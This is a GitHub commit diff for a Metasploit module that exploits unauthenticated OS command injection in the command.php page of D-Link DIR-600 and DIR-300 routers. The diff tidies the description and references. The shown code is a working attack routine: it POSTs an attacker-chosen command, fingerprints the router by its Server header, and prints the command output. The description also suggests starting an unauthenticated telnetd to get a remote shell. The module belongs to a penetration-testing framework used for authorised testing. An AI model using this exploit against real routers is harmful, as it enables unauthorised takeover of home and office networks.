Skip to content

Commit dfbe9ce

Browse files
committed
Merge pull request #2 from jvazquez-r7/dlink_review
little cleanup plus msftidy compliant
2 parents 63c6791 + d1784ba commit dfbe9ce

File tree

1 file changed

+18
-17
lines changed

1 file changed

+18
-17
lines changed

modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb

Lines changed: 18 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -15,20 +15,22 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
1717
'Description' => %q{
18-
Some D-Link Routers like the DIR-600 rev B and the DIR-300 rev B are
19-
vulnerable to OS Command injection.
20-
You do not need credentials to the webinterface because the command.php
21-
is accesseble without authentication. You could read the plaintext password
22-
file. Tested versions: DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
23-
Hint: To get a remote shell you could start the telnetd without any authentication.
18+
This module exploits an OS Command Injection vulnerability in some D-Link
19+
Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
20+
command.php, which is accessible without authentication. This module has been
21+
tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
22+
In order to get a remote shell the telnetd could be started without any
23+
authentication.
2424
},
2525
'Author' => [ 'm-1-k-3' ],
2626
'License' => MSF_LICENSE,
2727
'References' =>
2828
[
29-
[ 'URL', 'http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLTechProduct&cid=1197381489628&p=1197318958220&packedargs=QuickLinksParentID%3D1197318958220%26locale%3D1195806663795&pagename=DLinkEurope-DE%2FDLWrapper' ],
29+
[ 'OSVDB', '89861' ],
30+
[ 'EDB', '24453' ],
31+
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
3032
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
31-
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ],
33+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
3234
],
3335
'DefaultTarget' => 0,
3436
'DisclosureDate' => 'Feb 04 2013'))
@@ -52,23 +54,22 @@ def run
5254
{
5355
'uri' => uri,
5456
'method' => 'POST',
55-
'data' => data_cmd,
57+
'data' => data_cmd
5658
})
57-
return :abort if res.nil?
58-
return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
59-
return :abort if (res.code == 404)
60-
59+
return if res.nil?
60+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
61+
return if res.code == 404
6162
rescue ::Rex::ConnectionError
6263
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
6364
return
6465
end
65-
66-
if res.body.include? "end"
67-
print_status("#{rhost}:#{rport} - Exploited successfully\n")
66+
67+
if res.body.include?("end")
68+
print_good("#{rhost}:#{rport} - Exploited successfully\n")
6869
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
6970
print_line("#{rhost}:#{rport} - Output: #{res.body}")
7071
else
71-
print_status("#{rhost}:#{rport} - Exploit failed.")
72+
print_error("#{rhost}:#{rport} - Exploit failed.")
7273
end
7374
end
7475
end

0 commit comments

Comments
 (0)